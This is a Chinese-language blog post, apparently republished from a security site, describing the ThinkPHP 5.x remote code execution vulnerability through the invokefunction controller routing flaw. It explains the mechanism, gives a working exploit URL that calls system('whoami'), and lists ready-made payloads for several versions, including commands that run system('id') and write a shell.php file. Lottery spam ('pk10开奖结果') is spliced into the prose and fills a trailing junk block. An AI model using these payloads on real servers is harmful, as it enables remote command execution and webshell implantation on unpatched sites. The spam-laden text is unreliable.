本文来介绍一下thinkphp官方修复的一个getshell漏洞,框架对控制器没有进行足够的检测导致的一处getshell,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧

先来简单说说前天thinkphp官方修复的一个getshell漏洞,框架对控制器没有进行足够的检测导致的一处getshell

影响的范围: 5.x < 5.1.31, <= 5.0.23

漏洞危害: 导致系统被提权(你懂的)

这里附上一个自己测试的 thinkphp的 链接  http://www.thinkphp.cn/download/1260.html  版本是5.0.22

先来讲下,5.0 跟5.1的区别吧,tp5.1中引入了容器(Container)和门面(Facade)这两个新的类  tp5.0是没有这两个新的类的,

漏洞原理

URL:http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction

我们先来看看App类里的 exec函数里的执行分层控制器的操作

我们这里是把controller 的调用信息跟配置信息全部传到了 invokeFunction 这个 执行函数里面去了

因为think\App是第二个入口,在tp运行的时候就会被加载 所以用think\App里面的分层控制器的执行操作的时候,需要去调用invokeFunction这个函数。

pk10开奖结果这个函数有两个参数,如上图所示,第一个是函数的名字,第二个参数数组,比如$function传入BaiDu然后$vars传入[12,555]就相当于调用BaiDu(12,555)

此处我们把function传入call_user_func_array然后vars[0]传入我们要执行的函数的名字vars[1]传入要执行函数的参数,因为vars是个数组 所以此处我们的get请求需要这样写

vars[]=函数名&vars[1][]=参数

此处是利用php的数组注入

此时此刻就可以开始利用远程代码执行漏洞了 比如我们要执行system函数 他的参数是whoami

http://192。168。188。141/public/index。php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

下面你懂的,作为一个人我们要做的就是修复他(为所欲为?),当然官方更新的最新版本是已经修复了的

这里就代码执行成功,以下奉献上tp不同版本的payload

?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\Request/input&filter=system&data=id
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
?s=index/\think\view\driver\Php/display&content=
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持爱安网。

最新资讯
小红书二季度清理刷量笔记近40万篇:刷量是红线

小红书二季度清理刷量

根据报告,小红书平均每天清理刷量笔记4285篇,平均每5分
中国第一程序员,微软得不到他就要毁了他

pk10开奖结果中国第一程序员,微软得

他就是国内办公软件第一人、有着天才程序员之称的、 W
谷歌云焦虑症:现实中没有“龟兔赛跑”

谷歌云焦虑症:现实中没

全球云计算赛道,谷歌身处位置颇为尴尬。
直击|分贝通完成8500万元B轮融资 博将资本领投

直击|分贝通完成8500

2019分贝通战略发布会在北京举办, 发布会现场,分贝通对
旷视发布《人工智能应用准则》 涉及数据安全等六项

旷视发布《人工智能应

旷视科技发布基于企业自身管理标准的《人工智能应用准
新华视点:长租公寓空气检测之痛何时休?

新华视点:长租公寓空气

有租客反映,一些公寓出示的空气质量检测报告显示合格,但
最新文章
thinkphp代码执行getshell的漏洞解决

thinkphp代码执行gets

本文来介绍一下thinkphp官方修复的一个getshell漏洞,框
SQLMAP注入检查方法 11种常见SQLMAP使用方法详解

SQLMAP注入检查方法 1

sqlmap也是渗透中常用的一个注入工具,其实在注入工具方
Linux 下多种编程语言的反弹 shell 方法

pk10开奖结果Linux 下多种编程语言

这篇文章主要介绍了Linux 下多种反弹 shell 方法,需要
lcx端口转发详细介绍及使用方法(lcx内网转发姿势)

lcx端口转发详细介绍

这篇文章主要介绍了lcx端口转发详细介绍及使用方法(lc
lcx用法之心得总结(piracy)

lcx用法之心得总结(pi

这篇文章主要介绍了lcx用法之心得总结,需要的朋友可以
详解Filezilla server 提权

详解Filezilla server

这篇文章主要介绍了详解Filezilla server 提权,需要的
pk10开奖结果_dELsD pk10开奖结果_DsdU8 pk10开奖结果_WbuupB pk10开奖结果_4Ms45 pk10开奖结果_X9Tw3b pk10开奖结果_uTsxLTP pk10开奖结果_KSpi0f pk10开奖结果_lSUAtd pk10开奖结果_YKuywM pk10开奖结果_HqI1iH